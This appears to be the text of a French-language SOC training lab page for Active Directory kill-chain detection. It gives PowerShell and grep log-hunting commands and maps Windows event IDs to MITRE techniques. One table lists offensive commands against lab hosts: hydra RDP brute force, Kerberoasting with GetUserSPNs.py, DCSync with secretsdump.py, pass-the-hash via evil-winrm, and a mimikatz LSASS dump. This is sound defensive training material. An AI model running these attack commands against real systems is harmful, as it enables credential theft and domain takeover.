SOC Lab — Kill Chain AD v3

 ███████╗ ██████╗  ██████╗    ██╗      █████╗ ██████╗
 ██╔════╝██╔═══██╗██╔════╝    ██║     ██╔══██╗██╔══██╗
 ███████╗██║   ██║██║         ██║     ███████║██████╔╝
 ╚════██║██║   ██║██║         ██║     ██╔══██║██╔══██╗
 ███████║╚██████╔╝╚██████╗    ███████╗██║  ██║██████╔╝
 ╚══════╝ ╚═════╝  ╚═════╝    ╚══════╝╚═╝  ╚═╝╚═════╝
    KILL CHAIN AD — 10 MISSIONS — BLUE TEAM v3

💀 Kali 10

🪟 Windows 20

🏛 DC-01 10

🐧 SIEM 30

Étape 1/1

└─#

🪟 PowerShell — Journaux Windows

Commande	Description
Get-WinEvent -LogName Security -MaxEvents 10	10 derniers événements
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625}	Échecs connexion
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769}	Tickets Kerberos (Kerberoasting)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624}	Connexions réussies
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4648}	Credentials explicites
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4656}	Accès objet (LSASS)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4662}	Opération objet AD (DCSync)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4672}	Privilèges spéciaux assignés
Get-WinEvent -FilterHashtable @{LogName='System'; Id=4697}	Services installés
Get-WinEvent -FilterHashtable @{LogName='System'; Id=104}	Journaux effacés
Get-WinEvent ... \| Where-Object {$_.Message -like 'RC4'}	Filtrer chiffrement RC4
Get-WinEvent ... \| Where-Object {$_.Message -like 'Temp'}	Filtrer chemin suspect

🐧 Linux / SIEM

Commande	Description
grep "Failed password" /var/log/auth.log \| tail -n 20	Échecs SSH
grep "Accepted" /var/log/auth.log	Connexions réussies
grep "sudo" /var/log/auth.log	Escalades sudo
tail -f /var/log/syslog	Syslog temps réel
grep "4769" /var/log/syslog \| grep "RC4"	Tickets Kerberos RC4
grep "NTLM" /var/log/syslog	Authentifications NTLM suspectes
grep "4662" /var/log/syslog	Réplication DS (DCSync)
cat eve.json \| jq '.alert.signature'	Signatures Suricata

💀 Kali — Attaque AD

Commande	Description
nmap -sV 192.168.1.20	Scan services
hydra -l Administrator -P rockyou.txt rdp://192.168.1.20	Brute force RDP
GetUserSPNs.py domain/user:pass -dc-ip 192.168.1.10	Kerberoasting
secretsdump.py domain/user:pass@192.168.1.10	DCSync / dump hashes
evil-winrm -i 192.168.1.20 -u user -H	Pass-the-Hash WinRM
mimikatz "privilege::debug" "sekurlsa::logonpasswords"	Dump LSASS credentials

📋 EventIDs clés — Kill Chain AD

EventID	Signification MITRE
4625	Échec auth — T1110 Brute Force
4624	Auth réussie — LogonType critique
4688	Processus créé — T1059 Command Exec
4648	Credentials explicites — T1021 Lateral Movement
4697	Service installé — T1543 Persistence
104	Log effacé — T1070 Defense Evasion
4769	Ticket Kerberos — T1558 Kerberoasting
4656/4663	Accès LSASS — T1003 Credential Dumping
4662	Opération objet AD — T1003.006 DCSync
4672	Privilèges spéciaux — T1078 Valid Accounts

Brief

Badges

Score

MITRE

Sélectionne une mission